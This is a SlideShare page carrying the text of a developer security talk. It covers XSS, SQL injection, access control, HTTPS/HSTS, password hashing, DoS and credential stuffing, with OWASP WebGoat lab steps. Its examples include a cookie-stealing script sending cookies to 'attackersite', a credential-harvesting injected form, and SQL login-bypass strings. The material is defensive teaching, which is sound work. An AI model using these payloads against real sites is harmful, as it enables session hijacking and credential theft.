Download as PDF, PPTX
![Encrypting Sensitive Data in
Database
Encrypt
User Data
Customer/Group
Encryption Key
Key Encrypting Key
database
Decrypt
Hardware Security Module
Encrypted
[Customer/Group
Encryption Key]
Encryption within Database
Unique keys per data region
Key encrypting keys
Hardware Security Modules
(](https://image.slidesharecdn.com/shape-developerfirstsecurity-131112124307-phpapp01/85/Devbeat-Conference-Developer-First-Security-45-320.jpg)
Uploaded byMichael Coates
Devbeat Conference - Developer First Security
The document discusses developer-first security, emphasizing the importance of integrating security into the development process due to the rising costs of cybercrime. It highlights various application vulnerabilities such as cross-site scripting (XSS) and SQL injection, providing testing methods, impacts, and prevention strategies. The content also underscores the significance of strong access controls, secure data storage, and how to anticipate and defend against emerging threats.
More Related Content
Similar to Devbeat Conference - Developer First Security
Devbeat Conference - Developer First Security
- 1. Developer-first security Integrating Securityinto Development Michael Coates ! michael@ShapeSecurity.com michael-coates.blogspot.com @_mwc
- 2.
- 3.
- 4. “The global costof cybercrime is greater than the combined effect on the global economy of trafficking in marijuana, heroin and cocaine” ! h"p://www.theregister.co.uk/2011/09/07/cost_is_more_than_some_drug_trafficking h"p://uk.norton.com/content/en/uk/home_homeoffice/html/cybercrimereport/
- 5. Data Loss &Breaches datalossdb.org Verizon Data Breach Report 2013
- 6. Outside Attackers datalossdb.org Verizon DataBreach Report 2013
- 7. Security - IntoThe Details • Sample and Demo of Top Application Risks — Cross Site Scripting, SQL Injection, Access Control • Who’s Monitoring Your Traffic? — Encrypting in Transit • Secure Data Storage & Protection — Correct Password Storage & Data Protection • Growing Threats Plaguing Applications
- 8. WARNING Security Testing is ILLEGALON UNAUTHORIZED SYSTEMS
- 9. 3 Dangerous Vulnerabilities Cross SiteScripting SQL Injection Access Control
- 10. What are WebRequests Open console & enter the following: • telnet google.com 80 GET / HTTP/1.1 • Hit return 2 times
- 11. Cross Site Scripting(XSS) • Problem: User controlled data returned in HTTP response contains HTML/JavaScript code • Impact: Session Hijacking, Full Control of Page, Malicious Redirects • Basic XSS Test: " ><script>alert(document.cookie)</script> • Cookie Theft Example: "><script>document.location='http://attackersite/ '+document.cookie</script>
- 12. XSS Behind TheScenes http://shinypage.com?user=Bob JSP Code <h1>Glad to see you <%= request.getParameter("name") %></h1> HTML Source Rendered HTML <div>Glad to see you <b>Bob</b></div>
- 13. XSS Behind TheScenes http://shinypage.com?user=friend</b> <br><form method=”post” action=”badsite.com/login”> Login: <input type="text" name="username"><br> Password:<input type="password" name="password"> <input type="submit" value="Submit" /></form>
- 14. XSS - InjectingHTML Rendered HTML
- 15. Cross Site Scripting • CrossSite Scripting typically uses JavaScript to do bad things • Steal session cookies <script>alert(document.cookie)</script> • Redirect to bad pages <script>window.location = "http://evilsite.com/"</script> • Rewrite page on the fly
- 16.
- 17. Reflected XSS Lab • Lesson:Cross-Site Scripting->Reflected XSS Attacks • Proxy Not Needed
- 18.
- 19. Stored XSS Lab • Lesson:Cross-Site Scripting>Stored XSS Attacks • Proxy Not Needed
- 20. XSS Prevention • Solution 1. OutputEncoding - converts command characters to benign characters for display 2. Input Validation <h1>Glad to see you <%=encodeForHTML( request.getParameter("name") ) %></h1> < > “ ‘ & HTML Encoding < > "e; ' &
- 21. XSS Attempt Revisited http://shinypage.com?user=friend</b> <br><formmethod=”post” action=”badsite.com/login”> Login: <input type="text" name="username"><br> Password:<input type="password" name="password"> <input type="submit" value="Submit" /></form>
- 22. Safe Handling Rendered HTML Gladto see you friend</b> <br><form method="post" action="badsite.com/ login"> Login: <input type="text" name="username"><br> Password:<input type="password" name="password"> <input type="submit" value="Submit" /></form>
- 23. XSS Resources • OWASP XSSPrevention Cheat Sheet - http://bit.ly/XSS-OWASP • Content Security Policy - http://bit.ly/CSP-OWASP • OWASP XSS Overview - http://bit.ly/OWASPXSS
- 24. SQL Injection • Problem: Usercontrolled data improperly used with SQL statements • Impact: Arbitrary SQL Execution, Data Corruption, Data Theft • Basic SQL Injection Tests: OR 1=1 -- ' OR '1'= '1'-- • Example Vulnerable Query: sqlQ = “Select user from UserTable where name= '+username+ ' and pass = '+password+ ' ”
- 25. Lab! - SQLLesson
- 26. SQL Injection • Lesson: InjectionFlaws -> Lab: SQL Injection -> Stage 1: String SQL Injection • Proxy Needed • Objective: Bypass the login page by inserting “control” characters. Login as “Neville” w/o knowledge of the password
- 27. SQL Injection • HTTP Post employee_id=112&password=x'OR ‘1'='1 &action=Login • Vulnerable SQL Select user from UserTable where name= '+username+ ' and pass = '+password+ ‘ • Resulting Statement Select user from UserTable where name= '112' and pass = 'x' OR '1'='1' • Result: ... name = ' 112 ' and pass = 'x ' OR TRUE
- 28. SQL Injection • Parameterized Queries Noconfusion with control characters Example: would look for password of ‘ or ‘1’=’1 • Input Validation Are special characters needed for most fields? What about non-printable characters %00-%0A?
- 29.
- 30. Access Control • Problem: Developersassume some parts of app can’t be seen, tampered with or invoked by the user • Impact: Unauthorized data access, access to privileged functionality • Basic Access Control Test: Inspect HTTP requests - iterate numbers, guess other values for arguments • Access Control Failure Example:! • http://somebadbank.com/showacct?id=101 • http://somebadbank.com/showacct?id=102
- 31. Lab! - AccessControl
- 32. Access Control Violation • Lesson:Access Control Flaws>LAB: Role Based Access Control->Stage 1: Bypass Business Layer Access Control • Proxy Needed • Objective: Find way to execute “delete” functionality using Tom’s account. Delete account “tom”
- 33. Access Control Violation • Hint:Login with Tom and perform available actions (search staff, view profile). Figure out how action name is sent to server POST /webgoat/attack?Screen=43&menu=200 HTTP/1.1 Host: localhost ! employee_id=105&action=ViewProfile
- 34. Strong Access Controls • AccessControl Performed Server Side • Never Relies Upon “Security by Obscurity” • Be Careful with Identifiers (e.g. id=123) • Attacker Can Send Anything in Request • Presentation Layer Controls Can Not Enforce Access Control
- 35.
- 36.
- 37. Insecure Session Management • Secure loginover HTTPS • • Password submitted encrypted Immediate redirect to HTTP • Session ID sent cleartext <-- vulnerability point https://site.com/login http://site.com/profile
- 38. Vulnerable Redirects • User requestsHTTP page, response redirects HTTPS • 302 Response is HTTP <-- Vulnerability Point
- 39. Secure Design for Communication • UseHTTPS Throughout Web Site! • HTTP Strict Transport Security (HSTS)! • • • Opt-in security control Website instructs compatible browser to enable STS for site HSTS Forces (for enabled site): • All communication over HTTPS • No insecure HTTP requests sent from browser • No option for user to override untrusted certificates
- 40. Strict Transport Security • Browserprevents HTTP requests to HSTS site • Any request to site is “upgraded” to HTTPS • No clear text HTTP traffic ever sent to HSTS site • Browser assumes HTTPS for HSTS sites
- 41. Secure Data Storage &Protection
- 42. Password Storage Bad Approaches! • Yourown algorithm • Good Approach! md5 encryption • base64 encoding • rot 13 PBKDF2 sha1 • Bcrypt • • • + Per User Salt
- 43. What Are WeProtecting? Correct password hashing protects against:! ! • Offline attacks of password repository ! • Brute Force, Rainbow Attacks ! Does not address:! Guessing easy passwords Password theft, disclosure Session Hijacking Credential Stuffing
- 44. Architecture for Sensitive Data https://site.com webserver internal SSL database Monitor Database Queries & Response Size
- 45. Encrypting Sensitive Datain Database Encrypt User Data Customer/Group Encryption Key Key Encrypting Key database Decrypt Hardware Security Module Encrypted [Customer/Group Encryption Key] Encryption within Database Unique keys per data region Key encrypting keys Hardware Security Modules (
- 46.
- 47. Denial of Service Denialof Service (DOS) Distributed Denial of Service (DDOS)
- 48. Denial of Service NetworkDDOS Application Layer DDOS site.com/generateReport Exhaust Network! Bandwidth Exhaust Server ! CPU/Memory
- 49. Application Denial of Service ApplicationDDOS ! Traditional Network DDOS ! • overwhelms target with volume • • • • exhausts bandwidth / capacity of network devices invokes computationally intense application functions • exhausts CPU / memory of web servers Requires large number of machines • Requires few machines • Defenses: Few available, must customize Defenses: CDN, antiDDOS services
- 50. Credential Stuffing compromised! server! Credentials! joe: abc123! sue:password1! bob: MyP0n3y Stolen Credentials! joe: abc123! sue: password1! bob: MyP0n3y sue:password1 joe: abc123 https://site.com/login!
- 51. Take Aways • Understand topsecurity threats and anticipate potential malicious use of application to design secure code • Multiple controls possible to protect sensitive data in transit and storage • Understand emerging threats to plan for appropriate defenses • Use OWASP BWA Security Lab and learn more!
- 52.
- 53.
- 54. Software • Vulnerable Server: OWASP’sWebgoat • Proxy Tool - OWASP’s ZAP (Zed Attack Proxy) • Browser • Virtual Machine: OWASP Broken Web App VM
- 55. Test Connectivity toVM 1.Open Browser 2.Browse to your VM ip (listed in VM login page) • e.g. http://192.168.56.101 3.Should see OWASP BWA welcome page 4.Error? Check ip address of VM
- 56. WebGoat • Click First Link- OWASP WebGoat version 5.3.x • Username / Password is guest / guest
- 57. Understanding the Proxy • Proxyis middle-man between browser and web server • Assists with traffic manipulation & inspection Attacker’s Browser Web Proxy Web Server
- 58. Understanding the Proxy PrimaryOS Browser Web Proxy Your Computer VM Web Server
- 59. Enabling Proxy 1.Open ZAP 2.ConfigureFirefox to use proxy 3.Resend Request 4.Confirm received by proxy 5.Forward to web server (vm)
- 60. Using A Proxy • ZAP- Configure to listen on 8080
- 61. Set Firefox Proxy • SetFirefox proxy to 8080 • Preferences -> Advanced -> Network -> Settings • Set HTTP Proxy • Important - clear “No Proxy for” line
- 62. Confirm Setup Works • RefreshWeb Browser • Go to ZAP • See site in left-hand column
- 63. Intercepting Traffic • Add a“breakpoint” by right clicking on the page and choosing “Break...” ! ! ! ! • Refresh the webpage - it will hang • Modify the request as needed, then press the “Continue” button
- 64. “Hello World” ofProxies • Lesson: General->Http Basic • Objective: • Enter your name into text box • Intercept with proxy & change entered name to different value • Receive response & observe modified value is reversed Joe Sue euS Attacker’s euS Web Proxy Browser Web Server